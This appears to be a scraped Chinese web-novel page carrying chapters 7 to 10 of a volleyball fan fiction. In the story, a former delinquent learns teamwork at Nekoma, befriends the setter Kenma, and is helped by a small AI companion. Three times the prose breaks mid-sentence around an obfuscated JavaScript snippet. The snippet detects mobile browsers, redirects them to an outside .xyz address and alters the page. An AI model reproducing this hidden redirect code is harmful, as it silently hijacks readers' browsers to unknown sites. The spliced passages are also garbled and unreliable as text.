哪怕现在樱遥的技术还有些粗糙，但是没有人能够否认，看他打球是一件非常赏心悦目的事情。 简直就像是……他百分百掌控了自己身体的每一个部位，能够在他所需要的时候调用每一块肌肉。 对于一个新手来说，这简直是不可能做到的事情。 然而……这一球并没有落地。 灰羽列夫一个侧扑，用自己的手掌减缓了这一球行进的速度，后排的海信行顺利将球接起，孤爪研磨将球推向灰羽列夫。 灰羽列夫再次起跳！ 这次他的扣球失误了，挥臂的动作气势很足，但最后只有手指擦到了排球。不过排球最终还是误打误撞地过了球网，软趴趴地落在地上。 樱遥落在地上，背部已经开始冒汗，此时的比分定格在12:15。 扣球的感觉很爽，他也没有多少失误，可是为什么—— 为什么他总是感觉很棘手呢？ 对面好难缠，就算他扣下了很漂亮的球，也没办法顺利得分。 樱遥最开始以为这只是错觉，但是很快，最终的比分就告诉他并不是。 最终的比分是12:15，15:13和13:15，B队以2:1的优势获胜。 B队那边，灰羽列夫开心得差点变成黑猩猩，跟海信行碰拳后，还特意蹲下去跟孤爪研磨击掌。 孤爪研磨快要被他烦死了，只想赶紧下场休息。 而A队这边，气氛却不太明朗。 樱遥站在原地，低声喃喃：“为什么？明明他们看起来都很弱……” 特别是那个布丁头学长。 他早就发现了，每次做体能训练的时候，这个孤爪前辈都远远地掉在队伍最后面，动作也变形得很厉害，从远处看简直像只跑得歪歪扭扭的丧尸。 如果训练内容恰好是绕着学校跑圈，樱遥总是能套他一大圈。 而且灰羽列夫在这场比赛里也经常失误，光是发球就失误了四五次，扣球的时候也时常碰不到球。 所以，为什么他们会输？ 就在樱遥怀疑人生的时候，黑尾铁朗走过来：“是不是感觉很不理解？‘明明对面看起来也不是很强嘛’——我猜你是这样想的。” 樱遥抬起头看他。 黑尾铁朗露出一个高深莫测的笑容：“可是，列夫那边可是有着我们的‘大脑’哦。” 樱遥疑惑歪头。 黑尾铁朗用传教的语气说：“排球，归根结底还是一项团队运动啊。” 7. 第 7 章 “排球是一项团队运动，所以我说过了，现在的你还无法成为王牌。” “你看，不要说猛虎了，只要队友合适，哪怕是列夫这种菜鸟都能赢过你。” “喂！不要趁机踩我一脚啊，我都好不容易赢了耶！” 晚上回家之后，樱遥躺在床上，脑海中还在回想黑尾铁朗的话。 房间里依然只有放在中央的那床被褥，除此之外什么都没有，因此显得很大很空旷。 樱遥蜷缩在被子里，相比起来就是小小的一团。 窗外的月光直接照在他的脸上，将半个房间都披上一层薄薄的银色外衣。 好刺眼。 樱遥翻来覆去，就是无法入睡，最后干脆爬起来，把自己的被子拖到房间的小角落里，找了个没光的地方躺下。 被黑暗慢慢包围，一步步蚕食周围的空间。樱遥感觉有点阴冷，但这种阴冷反而令他感到放松。 好麻烦，为什么排球会这么麻烦？ 如果是躲避球就好了，只要把球丢到对方身上就算分，他能直接用球把对面的人给抽飞。 就在樱遥烦恼的时候，SS041忽然问： 【在樱遥心中，排球是一项怎样的运动呢？】 樱遥侧躺着：“……是七个人上场的运动，场上两边谁先拿到25分谁就获胜。” SS041翻着小本本说： 【没错，这是七个人合作完成的运动，而且这只是首发的人数，还没算上替补，和黑尾前辈说的一样，这是一项团队运动，就和篮球、足球一样。】 樱遥小声嘀咕：“这些运动我都没接触过，不知道是什么情况。而且我最开始加入排球部只是为了打败莫西干……山本学长啊，为什么要多做这么多无意义的事情？” 这和他一开始想象的不一样。 明明只要用武力值征服所有人就可以了。 麻烦，好麻烦…… 眼看着樱遥一边念叨着“好麻烦”，一边渐渐睡过去了，白净的脸颊陷在软绵绵的被子里，发出清浅均匀的呼吸声。 平日里显得很不好惹的异色眼瞳，现在安安静静地闭上，纤长的睫毛安安分分地垂着，看起来异样的乖巧。 SS041的声音渐渐小了下去，它没敢说，其实它觉得樱遥只是嘴上说着很烦，其实这几天他很开心，至少比开学之前开心。 只要樱遥开心，那它也就很开心。 SS041满足地卷起自己的赛博小被子，也香香地睡过去了。 第二天。 樱遥是被SS041慌慌张张喊醒的，因为昨晚把窝挪了地方，早上没办法被太阳晒醒，他一掌拍飞了闹钟，然后就睡过头了。 樱遥匆匆忙忙叼着片面包出门，忍不住吐槽：“我睡过头也就算了，怎么连你也能睡过头啊！” 【呜呜抱歉，我明天会定好闹钟的……】 其实迟到对不良少年来说是不值一提的小事，但是樱遥还是拎着书包在上学的路上狂奔。 道路两旁的樱花花瓣轻飘飘地落下，好像一场粉红色的雨。其中有那么几片沾在了樱遥的头发上，就像在冰淇淋上洒上薄薄的糖霜，他却没有察觉。 他一直跑到了校门口，万幸校门口的风纪委员还没开始抓人，樱遥还在前面看见了灰羽列夫。 “嗨樱遥，早上好啊，今天你也这么晚……啊……” 灰羽列夫刚刚抬起手，就看见樱遥的身影像一道风一样从自己旁边吹了过去。 他的发型都被这阵风吹得凌乱了，下意识跟着跑了起来：“喂，不能只有我一个人迟到啊！” 最后樱遥成功在老师走进教室之前抵达自己的座位，而慢了一步的灰羽列夫则被抓了个现行。 在灰羽列夫被老师絮絮叨叨的时候，樱遥给他抛去一个得意的眼神。 灰羽列夫：“……可恶！” 樱遥神清气爽地回头，忽然感觉心情很好，昨晚的纠结和烦躁也消失得无影无踪。 因为一点困难就中途放弃可不是他的性格，他果然还是想要快点成为王牌啊。 于是樱遥找上了自己的特训教练黑尾铁朗，询问他自己应该怎么做。 然后，他就看见这位学长咧开嘴巴，露出一个爽朗的龇牙笑：“首先，我建议你去和我们的二传手打好关系。” “在赛场上，二传手可是连通所有角色的存在。我们攻手想要扣球的话，都得和二传配合好才行。” …… 和别人打好关系，这件事对樱遥来说有点困难。 他用自己那颗充满不良少年团战的大脑思考几秒，眼前一亮：“俗话说不打不相识，要不然我和他打一架？” SS041大惊：【别别别——！千万别，“打好关系”其实是“交朋友”的意思吧！】 樱遥低声喃喃：“是这样吗？朋、朋友……” 光是想到那个词汇，他就感觉脸颊有些发烫。 说好的独自一人呢……怎么还要交朋友啊。 而且孤爪研磨和其他人不一样，不像黑尾铁朗一样会突然揽住他的肩膀，也不像灰羽列夫一样会自来熟地跑过来跟他搭话，樱遥和这位布丁头学长的交集仅限于那场3v3。 黑尾前辈说他是这支队伍的“大脑”，队伍里的其他人也都非常尊敬他。 这种待遇放在其他地方妥妥是帮派老大，而且当那双金色的竖瞳不含感情地注视着自己的时候，樱遥总能感到一种没由来的危险。 樱遥深知实力至上的道理，之前的他只是片面地关注对方体力不怎么样的缺陷，却没注意到其他出色的地方。 面对强者，樱遥向来怀有敬意，也跃跃欲试想要挑战一番。 但是“朋友”这个词汇又让他不敢轻易行动。 思虑再三，樱遥还是决定先暗中观察一下情况。 于是，接下来的两天里，孤爪研磨身后多了一双眼睛。 他练习发球的时候，这道视线紧紧跟着他；他练习传球的时候，这道视线仍然盯着他；就连体能训练的时候，那双眼睛也密切地关注着他。 就连晚上准备回家的时候，孤爪研磨身后的黑暗中也出现了一双亮亮的眼睛，两只眼睛的颜色还不一样，像是挂在圣诞树上的小灯泡。 呃，压力好大…… 孤爪研磨有气无力地垂着手：“感觉背后毛毛的，小黑，你是不是跟他说什么了。” 黑尾铁朗哈哈大笑：“我让他要跟二传手打好关系啊，原来那孩子打好关系的方法就是这样偷偷摸摸暗中观察吗？” 孤爪研磨叹气：“好麻烦……” 其实在今天之前，孤爪研磨对两个新人一直保持着敬而远之的态度。 灰羽列夫太自来熟了，一看就是个很麻烦的家伙。 而且他像是听不懂人类的语言，练习扣球的时候，总能以他意想不到的方式失误。 至于樱遥，就更麻烦了。 游戏主角才拥有的华丽外表，堪比勇者的身体素质。听说他以前是不良少年，这种开局就lv99的危险人物，比较适合隔着屏幕观看，出现在生活里就有点危险了。 而且奶牛猫还需要定期驱魔…… 反正就是很麻烦，还是让小黑他们去养吧。 这样想着，孤爪研磨搓了搓手臂，决定赶紧回家。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137975|180329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>而他身后，好不容易想要踏出那一步跟他搭话的樱遥：！ 下一天的训练是体能训练。 毫无意外地，孤爪研磨又一次落在了队伍最后。 实在是跑不动了啊……哪怕是小黑催他也跑不动了。 孤爪研磨气喘吁吁地站在路边，双手叉腰，抬头看着一棵树。 刚停下来休息了一会儿，已经套了他一大圈的樱遥恰好路过，注意到他的动作，也跟着抬头，发现树上蹲着一只咪呜咪呜求救的大橘猫。 好眼熟，布丁头前辈是想救这只肥猫吗？ 看那根树枝都要被这辆大卡车压断了，樱遥想了想，就爬上去把它放下来。 终于到了安全的地方，大橘娇滴滴地冲他喵喵叫。 樱遥看了它一眼，酷酷地回答：“我知道了，不用谢。” 大橘又蹭了蹭他的腿，触感毛茸茸的，软软的，还有点热乎乎的。 樱遥感觉头发都要竖起来了，动作僵硬得好像突然变成了一座石雕：“喂，别蹭啊，等下把我的裤子蹭脏了……” 大橘又躺下撒娇卖萌。 樱遥有点看懂它的意思了：“你要吃的？我没带吃的。而且我感觉你应该减肥了，你已经跟幼儿园小朋友一样重了。” 大橘吃不到东西。 大橘不卖萌了。 大橘翻了个白眼。 樱遥怒了：“你这家伙竟敢鄙视我！不给你吃的就得被你翻白眼是吧！” 大橘不甘示弱地冲他大叫：“喵喵喵！” 樱遥指着它：“我知道了，原来不是别人把你放到树上，是你自己爬上去的吧？” 大橘继续大叫：“喵喵喵嗷——！” 这声音一听就骂得很脏，樱遥更生气了：“可恶，怪不得每天都看见你蹲在树上，原来你是为了卖可怜骗吃骗喝！” “喵嗷！” “你这家伙——” “嗷！” “真是肥死了！” 眼看樱遥马上就要被这只没礼貌的橘猫气得炸毛了，一直默默旁观的孤爪研磨没忍住，轻轻笑了一下。 怎么有人能跟猫咪吵得有来有回啊，而且好像还吵不过。 前方的樱遥忽然愣住了，因为这还是他第一次在这么近的距离下看见孤爪研磨的笑容。 在别人背后笑，还被当事人发现了，孤爪研磨其实也有点尴尬。 他低头，抬头，左看，右看，实在没有其他音驹的队员经过，这条路上只有他们两人。 那双眼睛还直直地盯着自己，避无可避。犹豫一会儿，孤爪研磨硬着头皮找了个话题，从口袋里拿出手机：“呃，要加一下line吗？” 樱遥愣住：“line？那是什么？” 孤爪研磨慢吞吞地解释：“就是社交软件，可以加个好友聊天，你之前没有加过别人吗？” 樱遥想起自己和房间一样空的通讯页面：“没有啊……我只有一个好友，应该是好友吧，他每天都会给我发天气预报。” 孤爪研磨：фωф？ 这孩子说的“好友”该不会是每天自动发送短信的天气预报服务号吧，每根插卡的手机都会自带……他居然孤僻到这种地步么？ 算了，奶牛猫不擅长使用电子产品也很正常吧。 孤爪研磨叹了口气，上前给他看自己的手机页面：“你看，这个就是line……唔，我先把我的账号给你……” 因为需要近距离演示，所以等黑尾铁朗等人跑过来的时候，看见的就是焦糖布丁头和香草巧克力冰淇淋头凑在一起叽叽咕咕的画面。 夜久卫辅：“突然感觉会很好吃……” 8. 第 8 章 “哈哈哈哈哈？所以樱遥真以为那个天气预报是真人啊？”在回去的路上，黑尾铁朗大笑。 “嗯……我告诉他那是机器人，他还震惊了好久。”孤爪研磨端着游戏机，一边操作一边说。 黑尾铁朗他们赶到的时候，樱遥估计刚刚知道这件事，突然“哈？”地大叫一声，脸颊砰地一下变红了，像是变魔术一样。 “不知道他会不会因此受到打击……” 黑尾铁朗把双手放在后脑勺，看着天上细碎的星星：“不过我没想到的是你们两个之间最早主动的人居然是研磨，所以你其实也早就对樱遥产生兴趣了吧？” 孤爪研磨的目光紧紧盯着游戏，猫一样的瞳孔中倒映出扛着大剑的游戏主角。 “没有，只是当时小黑你们都不在。我跑不动了，他就站在那里一直盯着我，也不说话，不知道在想什么。我只能先用这个话题转移他的注意力了……” 被那双眼睛盯着，真的会感觉背后毛毛的。 说话间，游戏突然结束了，勇者莫名其妙突然残血，被boss一扫，孤爪研磨还没来得及操作，屏幕上就显示出了一串文字—— “game over”。 孤爪研磨现在玩的这个游戏和以往那些只考验玩家手速和技术的冒险格斗游戏不太一样，多了一个“养成”标签。 不能一开局就带着空白面板前进刷怪，玩家需要给自己操控的勇者升级、买武器、买道具、买药水，把勇者的状态养上去了才开始打怪。 不过勇者真的很难养，有一个奇奇怪怪不知道怎么判定的“状态值”，孤爪研磨明明已经把能做的都有了，还专门给勇者升级了技能，勇者还是嘎巴一下死掉了。 要想过关，有点麻烦，不过连续几次的“game over”也把孤爪研磨的好胜心激起来了，他决定今晚回去认真研究研究。 想到这里，孤爪研磨放下游戏机，忽然说：“小黑，其实在开学之前，我们就见过樱遥了，对吧？” 黑尾铁朗惊讶：“哦？研磨你还记得啊，确实是这样，所以我说我捡了只小流浪回来嘛。” 孤爪研磨说的没错，其实开学那天，并不是黑尾铁朗第一次遇见樱遥。 在更往前的几天吧，那时还是春假的尾声。 因为正值假期，而且没有特别近的比赛，排球部的训练比较宽松，偶尔也是会放几天假的。 听说孤爪研磨在家里打游戏打得昏天黑地，已经好几天没出过门了，黑尾铁朗特意跑去他家，把他提溜出来活动活动。 然而就在他们抵达公园，准备活动活动身体打打排球的时候，黑尾铁朗在公园角落注意到了一个阴阳头少年。 见对方坐在路边的小花坛上，脸颊上贴着一块创可贴，手臂上也有几道清晰可见的伤口，脚下丢了几根折断的木棍，似乎刚刚打完一场架。 呃……好像不用说“似乎”了，因为黑尾铁朗又在更远的地方看见了另外几个骂骂咧咧逃走的社会青年。 阴阳头少年看起来是获胜的那一方，但他脸上却没有多少高兴的表情。只是坐在原地，眼神没有焦点，迷茫地盯着眼前的虚空。 哪怕坐在灿烂的阳光下，充满欢声笑语的公园里，黑尾铁朗也无法忽视那从骨髓深处传递出来的孤独。 恰好排球滚到了对方脚边，黑尾铁朗犹豫着要不要去捡，对方却先一步离开了。 原来是一个老奶奶正颤巍巍地准备过马路，她走路太慢，路上车流太多，一时间有些犯难。 阴阳头少年平静地走过去：“我帮你吧。” 老太太看不太清，但听见了有人要帮忙，说了声“谢谢”，就把身体压了上去。 阴阳头少年原本应该只是想要扶她的，骤然被人触碰，头发都要炸起来了。赶紧伸手扶住身后的老太太，嘴里嚷嚷着：“喂喂，奶奶你怎么那么不客气啊！” “什么？小后生你说什么？谢谢你啊……” 听到这句感谢，阴阳头少年的脸色顿时红了，一边嘀嘀咕咕说着“突然趴上来很不安全啊”，一边安安稳稳地把人背到了马路对面。 目睹了全程的黑尾铁朗感觉很有意思，因为对方和他想象的完全不一样。 他也没想到，开学那天他们会再次相遇。 而且这位阴阳头少年还恰好就是音驹的新生，而且黑尾铁朗一眼就看出他拥有非常高的运动天赋。 这么高的天赋，只用来打架，会不会太可惜了？ 黑尾铁朗倒也不是想否认不良少年们的价值观，只是那天的阴阳头看起来一点都不开心。 想起那个孤零零的的身影，黑尾铁朗鬼使神差地开口，询问他要不要加入音驹排球部。 …… 这就是黑尾铁朗拐回奶牛猫的全过程。 “呜呜，樱遥真是个好孩子啊，黑尾你也算是难得干了件人事！”身后忽然传来夜久卫辅的声音。 黑尾铁朗吓了一跳：“诶，夜久你怎么也在啊！” 夜久卫辅擦了擦眼角：“我一直都在啊，刚才我不是说了吗，我要去趟便利店，刚好跟你们同路。结果你们居然聊着聊着就就把我给忘了！” “算了，这不是重点，重点是樱遥原来这么孤单，连手机都不会用的话，之前过的一直是离群索居的生活吧？明明樱遥是个好孩子啊。” 黑尾铁朗沉吟：“也许是，从樱遥的反应来看，他应该受过外貌上的歧视，打架的技能估计也是自卫的结果。不过既然他自己从来没有提到，我们也不要多问吧。反正加入我们排球部后，他就不会再遇到那种人了。” 家里有两个弟弟的夜久卫辅感慨万千，他可见不得这种小可怜。 哪怕这个小可怜比他高了好几厘米，而且还拥有一个人痛扁一群人的超高武力值。 过了一会儿，夜久卫辅握紧拳头说：“我决定了，从明天开始我就把樱遥当成弟弟看待了！” 黑尾铁朗挠头：“喂喂，还是不要太明显吧？奶牛猫都很高自尊的，在排球上多关心关心他就好啦。” 夜久卫辅却坚定道：“不行，樱遥这种别别扭扭的人很难主动开口的，必须给他入室抢劫一般的友情！” “……所以勇者也不会主动索求道具？状态栏没反应的时候就得给他补充体力药水了？” 旁边的孤爪研磨突然咕哝了几句，黑尾铁朗没听清：“研磨你在说什么？” 孤爪研磨反应过来：“啊，我在找游戏攻略。” 第二天，樱遥才到排球部就看见其他人围在一起嘀嘀咕咕，而他一进门，就突然感受到一大波人的注视。 经过这些天的相处，樱遥其实已经习惯了他们的视线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137976|180329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 但是不知道为什么，今天的视线令人好像格外……温柔。 随后，这群排球部的前辈们就笑眯眯地，一步一步向他靠近。 樱遥：？？ 他被这架势吓到了，瞬间警惕起来，脑袋上的呆毛都有点炸：“……等等，你们要干嘛？” “来加好友吧！”夜久卫辅举起手机说。 樱遥：“……哈？“ “听说研磨加了你好友？我也要加！” 原本只有夜久卫辅举着手机过来，后来连其他人也都过来凑热闹了。 不知道自己不在的时候究竟发生了什么，他们叽里咕噜打开手机的时候，脸上都带着令人头皮发麻的和善微笑。 而且不知道是谁还趁机薅了一把他的呆毛，捏捏肩膀揉揉脸，感叹一句“早就想摸了”。 喂喂怎么自顾自的就上手了啊！！ 樱遥整个人都有点风中凌乱，被捏过的地方留下了浅浅的指印，没被揉过的位置也几乎红透了，想哈气又有点迷茫。 奶牛猫已停止思考.jpg 等他反应过来的时候，已经是群喵过境，手机的好友栏里满满当当全是人，不止加了line，还交换了手机号。 原本樱遥的聊天界面还停留在那个每天定时发送天气预报的服务号发的消息，但现在这条信息已经被各种打招呼的消息淹没了，沉到了最下面。 [hello，我是夜久！（猫咪打招呼.gif）] [我是黑尾，待会来找我特训（黑猫邪笑.jpg）] [给我备注列夫，放学后要不要一起去吃炸猪排？（猫咪流口水.jpg）] [我很看好你哦小子，等你挑战！（老虎戴墨镜.jpg）] [我是福永，想听笑话尽管来找我（猫猫拍胸脯.jpg）] [我是海信行，有什么需要尽管找我帮忙。（握手/握手/握手）] …… [4月7日，天气晴，风力2级，适合短袖。紫外线强度不会过高，这个天气很适合外出交友哦~] 新发送的消息叮叮当当响起。 樱遥不太明白为什么他们都突然要和自己加好友，而且明明自己就在他们面前，他们还要在聊天框里发这么多无意义的消息，都要把他的手机塞满了。 他有些手足无措，又不敢对上这些人的表情，只敢低头看着手机里的猫咪表情。 ……有的居然还会动，堆在一起像是猫咪开组会。 这样一看，通讯栏被填满的感觉，似乎也不错。 心里似乎也有一块地方被不知不觉填满了，樱遥竟然翘起唇角，露出一个连他自己都没有察觉到的笑容。 SS041也很开心，悄咪咪提醒：【要不要给大家回个消息呀？】 樱遥看了他们一眼，觉得这个提议还不错。 于是他在系统默认的黄豆表情里认认真真挑选，最终选了一个他认为最友善的微笑黄豆，点击发送。 群发。 于是，好友栏里的消息全部刷新了。 一颗颗看起来像在翻白眼的微笑黄豆取代了可可爱爱的猫咪表情包，迅速占领了整个好友栏的所有消息。 音驹众人：“……？” 不行，得赶紧给这孩子推荐一些可爱的表情了！ 9. 第 9 章 樱遥暂时还没收到前辈们推荐的各种表情包，因为训练马上就要开始了。 每周猫又教练都会安排至少一场队内训练赛，不是3v3，而是按照正经比赛来，打到25分，打三局，两边队员随机搭配。目的是检验队员们的训练成果，顺便让队里的新人们适应一下团队作战。 在训练赛开始之前，樱遥被黑尾铁朗摁着脑袋热身。 原本樱遥是没有专门热身的习惯的，毕竟谁知道下一场架会什么时候到来呢？ 他更习惯在一整天里都保持活力满满的状态，遇到需要打架的场景时顶多花几秒钟活动一下手脚。 不过自从加入了排球部，他就被灌输了一堆专业热身的知识，想偷懒也会被黑尾铁朗抓住。 比如现在，他老老实实坐在地上，双腿打开身体前压，不仅做了个完美的一字马，上半身也能稳稳地贴到地面。 旁边的孤爪研磨都震惊了，黑尾铁朗也啧啧称奇：“怎么有男生的身体可以软成这样……” 此时SS041正翻着小本本提醒： 【正式的训练赛和3v3相比多了很多规则哦，站位也有要求，我已经把文字版发给你了，樱遥你看了吗？】 樱遥活动了一下手腕和脚腕：“字太多了，还没看完。” 【好吧，真拿你没办法，那待会我再口述给你听吧。】 樱遥其实也有点期待这场训练赛，上次的3v3给了樱遥启发，比起重复一百一千个扣球的动作，不如用实战累积经验。 他认为上次那场3v3失败的原因在孤爪研磨身上，见他被分到自己的对面，视线立刻紧跟上去。 孤爪研磨垂眸，表情有点苦恼。 呃，压力还是好大…… 训练赛正式开始。 毕竟是检验训练成果的比赛，而这段时间里进步最大的就是两个从零学起的新人。 其他人会有意识地配合他们的发挥，而恰巧两人的状态都不错，就连发球的失误都少了许多。 这时排球飞到了球网对面，夜久卫辅将球接起，稳稳当当垫向网前。孤爪研磨正好站在那个地方，双手上举，手指用力，准备托球。 而另一边，山本猛虎突然大吼一声“给我！”，随后就后退助跑，前进起跳。 他的助跑气势汹汹，瞬间就吸引了樱遥的注意力。 这是他们第一次在训练赛中面对这面，压抑了一周之久的挑战欲已经熊熊燃烧。 尽管没有系统学习过拦网，不过耳濡目染这么多天，樱遥也大概知道该怎么做—— 只要在对方扣球的时候跳起来，把球拦下就行了吧。 眼看排球被山本猛虎的手掌击中，朝着樱遥的方向弹飞过来。 樱遥在他面前高高跃起，灰金双色的瞳孔与山本猛虎橘褐色的瞳孔在空中对视。 山本猛虎勾起唇角，樱遥也丝毫不怕。 排球撞上了他的手臂，与排球接触的位置传来一股巨大的力道，像一颗小炮弹一样直接钻开了樱遥的手指。 后方的芝山优生匆匆忙忙朝排球飞扑过去，将球垫了起来，手白球彦将球推到网前，黑尾铁朗扣球得分。 虽然这一球得分了，但樱遥却不怎么高兴，他看着自己通红的手心，一股挫败感顿时传来。 黑尾铁朗拍了拍他的肩膀：“别在意，拦网大多是我们副攻手的活，你又不是专业的副攻手。” “刚才那个拦网已经不错了，位置正确，时机正确，反应也很快，可惜姿势不对，只靠你一个人拦不住我们的王牌。” 樱遥不太甘心地问：“问题在哪？” 黑尾铁朗抓住他的手指，一根根合起来：“在拦网的时候爪子不要开花，当然如果你是想表演‘万岁’或者小动物威慑天敌那当我没说。” 话音刚落，樱遥的脑海中就弹出一张小熊猫举起爪子张牙舞爪的图片。 想也不想就知道是SS041发的。 樱遥在心里大叫：……不要往我脑子里塞这种东西啊！ SS041慌里慌张：【对不起对不起，我是搜出来自己看的，结果不小心发给你了！】 樱遥哼了声，低头看着自己的手。 右手食指和中指有些发红，而且还在微微颤抖，就是刚才那一球造成的结果。 黑尾铁朗还在继续说： “除了手指的问题，手臂也要再往前压一点，不是一面直挺挺的墙，而且像一把伞一样把球压回去。面对高速飞过来的排球，想要完美拦下，姿势可是很重要的。” “看。” “就像这样——！” 他就这样一边给樱遥讲解，一边将灰羽列夫的扣球被原原本本地送了回去。 灰羽列夫有点崩溃：“啊？不要拿我当教材啊！” 黑尾铁朗叉腰得意：“不想被拦下就不要暴露自己的意图啊菜鸟！” 在黑尾铁朗的现场教学下，樱遥摩拳擦掌，准备再试一次拦网。 而这一次，山本猛虎又一次大喊一声“我来”，从球场左侧开始助跑，而孤爪研磨则面对着他，举起双手准备托球。 看这个姿势，又是王牌进攻！ 樱遥果断追了上去，然而才刚走出两步，他就从自己的余光里注意到了孤爪研磨的手势。 手掌向上，手指往后，这一球……好像不是朝前托的。 山本猛虎只是诱饵！ 意识到自己被骗了，樱遥硬生生止住脚步，折返回另一个方向，瞄准排球飞扑过去。 球网对面的孤爪研磨微微睁大眼睛。 据说猫的反应是人类的七倍。 在铲屎官先用一个假动作再丢出猫玩具的时候，反应快的猫咪能直接在空中完成转体。 可是——这也太快了吧！ 孤爪研磨震惊地看着樱遥的方向，看着他像扑猫玩具一样，朝着这一轮真正的进攻者海信行扑了过去。 而且，他还真的追上了。 迅速移动产生的风带起了樱遥额前的头发，黑发和白发在空中飞扬，露出光洁的额头和野心满满的异色瞳孔。 樱遥翘起唇角，紧紧盯着海信行，仿佛在说—— “抓住你了。” 此时排球在视野中越来越大，樱遥笑着笑着，忽然笑容一敛，意识到不太对劲。 等等，这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137977|180329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个姿势，这个角度，好像拦不下来啊！ 动起来。 动起来！ 樱遥下意识抬起手，可惜还是慢了一步，排球直接亲吻上他的脑门。 “嘭——嘭、嘭嘭……” 排球弹回了球网对面，黑尾队成功得分！ 但是亲眼目睹了这个拦网的所有人都默默捂住嘴巴，表情十分古怪。 而目光中心的樱遥则落地，蹲下，捂住额头。 等他松手的时候，脑门上的圆形红印清晰可见，好大一个，在白皙的皮肤上显得有点滑稽。 黑尾铁朗哈哈大笑：“噗哈哈哈哈哈哈！用额头拦网吗，我觉得你可以和某只猫头鹰认识一下！” 樱遥握紧拳头：“可恶刚才那是失误，再来！” 要不是布丁头学长故意戏耍他，他才不会被砸到脑袋！ 樱遥恶狠狠看向孤爪研磨，孤爪研磨有意避开了他的视线，嘴角，却慢慢翘了起来。 接下来的几局里，樱遥像是找到了拦网的乐趣一样，一轮到前排就扑来扑去，到处拦网。 他的反应确实很快，经过黑尾铁朗的纠正，拦网的姿势也稍微好了点，但是拦网成功率还是不高，因为—— 对面的二传手实在太狡猾了！ 明明他基本站在原地没动，但是他的托球却很灵活。 有时候往前传球，有时候往后传球，有时候还可以用眼神骗他！ 有他在场，哪怕是列夫那个家伙，都能抓住机会顺利得分！ 三局下来，樱遥都要被玩炸毛了。 是真的炸毛了，脑袋上的头发都凌乱地翘起，只能气鼓鼓地扣球发泄。 夜久卫辅摊手：“可怜的樱遥，被研磨玩弄于股掌之中。” 海信行擦了擦额角的汗，笑呵呵的：“今天的研磨确实比平时认真啊，看来你对樱遥很感兴趣嘛。” 孤爪研磨听见他们的对话，并没有否认，只是用毛巾慢慢擦着自己汗湿的颈脖，平复剧烈运动后的气息。 昨晚他其实没说谎，在今天之前，他并没有对樱遥提起兴趣。 只不过现在，他稍微有一点兴趣了。 逗猫，有点好玩。 训练结束后，孤爪研磨心情很好地回到家，洗完澡，美美打开自己的游戏机，准备继续养勇者。 他的勇者已经50级了，状态值不错。 孤爪研磨盯着这个豆豆眼小人，戳了一下，勇者抬起头。 孤爪研磨又戳了一下，勇者脑袋上冒出一个感叹号。 还没等孤爪研磨戳第三次，手机忽然震动了一下，这是收到消息的提示音。 这么晚了还发消息……是小黑吗？ 孤爪研磨拿起手机，看了一眼，发现发信人是樱遥。 而消息的内容……是一只瞪着大眼睛表情阴森森的奶牛猫。 只有这一条消息了，除此以外什么都没有，像是在说： 人，猫会永远盯着你。永远，永远…… 孤爪研磨哆嗦了一下，关掉手机。 不就是今天练习赛的时候稍微骗了他几次吗。 好、好可怕…… 10.第 10 章 在信息发出的十分钟前。 樱遥正盘腿坐在床上复盘今天这场练习赛的失误点，SS041偷偷开了录像，还特意在视频里标注了关键分，戴着圆框小墨镜认真分析： 【这里、这里、这里，原本都是有机会得分的吧。】 樱遥托着脸颊：“就是啊，但是我完全摸不透孤爪学长的托球……” 【要不然怎么说孤爪学长是音驹的大脑呢，将队伍中的各个角色串联起来，用托球骗开对面的防守，这就是二传手存在的意义呀，完完全全的智力型角色啊！】 “唔……” 樱遥想起了最后一球时，自己不小心瞥见的那双金色竖瞳。 汗水从微微耷拉着的眼皮上划过，抬手的动作也有些变形。 明明他看起来一脸倦容，但那双眼睛却依旧闪烁着冷静的光，紧接着就推出一个恰到好处的托球，让山本猛虎完成这场练习赛的最后一击。 冷静、理智，强悍、猛烈，两种不同风格的人在球场上碰撞，却能配合得天衣无缝。 对于这种脑子好的人，樱遥向来敬而远之。 但是黑尾铁朗说过，想要成为真正的王牌，第一步就是和二传手打好关系。 打好关系…… 樱遥幽幽叹气：“果然还是打一架比较简单。” 【别啊——！不如先在线上打个招呼？你们不是加好友了吗。】 线上吗……可是他也不知道要怎么说啊。 樱遥打开手机。 在今天之前，他只把手机当成查看时间和天气预报的工具。 但是今天他加了好多人，部活结束后前辈们还给他推荐了很多表情包组，叫他快点收藏。 夜久卫辅的原话是这样的—— “不知道说什么的时候，这些表情包就是很好的选择哦！” 樱遥手指一划，看见了黑猫、白猫、奶牛猫、三花猫……怎么全是猫啊！好吧，还有小老虎、小狮子……勉勉强强可以用吧。 